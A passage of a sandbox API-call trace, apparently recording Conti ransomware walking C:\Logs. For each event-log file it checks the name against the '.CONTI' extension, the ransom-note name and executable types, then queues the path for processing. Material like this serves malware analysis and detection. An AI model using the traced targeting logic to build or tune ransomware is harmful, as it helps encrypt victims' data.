	[0094.796] lstrcpyW (in: lpString1=0x173fcf0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.796] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.796] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx"
	[0094.796] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3d40) returned 1
	[0094.796] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1
	[0094.796] lstrcmpiW (lpString1="Microsoft-Windows-Bits-Client%4Operational.evtx", lpString2=".") returned 1
	[0094.796] lstrcmpiW (lpString1="Microsoft-Windows-Bits-Client%4Operational.evtx", lpString2="..") returned 1
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.796] StrStrIW (lpFirst="Microsoft-Windows-Bits-Client%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.796] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.796] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47
	[0094.796] GetProcessHeap () returned 0x1720000
	[0094.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740640
	[0094.796] lstrcpyW (in: lpString1=0x1740640, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.796] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.796] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Bits-Client%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx"
	[0094.796] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2428) returned 1
	[0094.796] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1
	[0094.797] lstrcmpiW (lpString1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpString2=".") returned 1
	[0094.797] lstrcmpiW (lpString1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpString2="..") returned 1
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CodeIntegrity%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.797] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.797] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49
	[0094.797] GetProcessHeap () returned 0x1720000
	[0094.797] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17bfd68
	[0094.797] lstrcpyW (in: lpString1=0x17bfd68, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.797] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.797] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx"
	[0094.797] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d28b8) returned 1
	[0094.797] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1
	[0094.797] lstrcmpiW (lpString1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpString2=".") returned 1
	[0094.797] lstrcmpiW (lpString1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpString2="..") returned 1
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.797] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.798] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.798] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63
	[0094.798] GetProcessHeap () returned 0x1720000
	[0094.798] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x90) returned 0x17bfde8
	[0094.798] lstrcpyW (in: lpString1=0x17bfde8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.798] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.798] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx"
	[0094.798] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3f88) returned 1
	[0094.798] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1
	[0094.798] lstrcmpiW (lpString1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpString2=".") returned 1
	[0094.798] lstrcmpiW (lpString1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpString2="..") returned 1
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".CONTI") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".exe") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".dll") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".lnk") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".sys") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch=".CONTI") returned 0x0
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.798] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.798] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49
	[0094.798] GetProcessHeap () returned 0x1720000
	[0094.798] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17bfe80
	[0094.798] lstrcpyW (in: lpString1=0x17bfe80, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.798] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.798] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx"
	[0094.798] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0094.798] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1
	[0094.798] lstrcmpiW (lpString1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpString2=".") returned 1
	[0094.798] lstrcmpiW (lpString1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpString2="..") returned 1
	[0094.798] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.799] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.799] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48
	[0094.799] GetProcessHeap () returned 0x1720000
	[0094.799] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17bff00
	[0094.799] lstrcpyW (in: lpString1=0x17bff00, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.799] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.799] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx"
	[0094.799] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4660) returned 1
	[0094.799] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1
	[0094.799] lstrcmpiW (lpString1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpString2=".") returned 1
	[0094.799] lstrcmpiW (lpString1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpString2="..") returned 1
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.799] StrStrIW (lpFirst="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.799] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.799] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78
	[0094.799] GetProcessHeap () returned 0x1720000
	[0094.799] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xae) returned 0x17c7588
	[0094.799] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.799] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.799] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx"
	[0095.302] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d48a8) returned 1
	[0095.302] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1
	[0095.302] lstrcmpiW (lpString1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpString2=".") returned 1
	[0095.302] lstrcmpiW (lpString1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpString2="..") returned 1
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.302] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.302] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.302] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48
	[0095.302] GetProcessHeap () returned 0x1720000
	[0095.302] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17d04b8
	[0095.302] lstrcpyW (in: lpString1=0x17d04b8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.302] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.302] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx"
	[0095.302] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5ae8) returned 1
	[0095.302] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1
	[0095.303] lstrcmpiW (lpString1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpString2=".") returned 1
	[0095.303] lstrcmpiW (lpString1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpString2="..") returned 1
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.303] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.303] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54
	[0095.303] GetProcessHeap () returned 0x1720000
	[0095.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7e) returned 0x176bb50
	[0095.303] lstrcpyW (in: lpString1=0x176bb50, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.303] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.303] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx"
	[0095.303] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3f88) returned 1
	[0095.303] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1
	[0095.303] lstrcmpiW (lpString1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpString2=".") returned 1
	[0095.303] lstrcmpiW (lpString1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpString2="..") returned 1
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.303] StrStrIW (lpFirst="Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.303] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.303] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41
	[0095.303] GetProcessHeap () returned 0x1720000
	[0095.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741220
	[0095.303] lstrcpyW (in: lpString1=0x1741220, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.303] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.304] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx"
	[0095.304] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3d40) returned 1
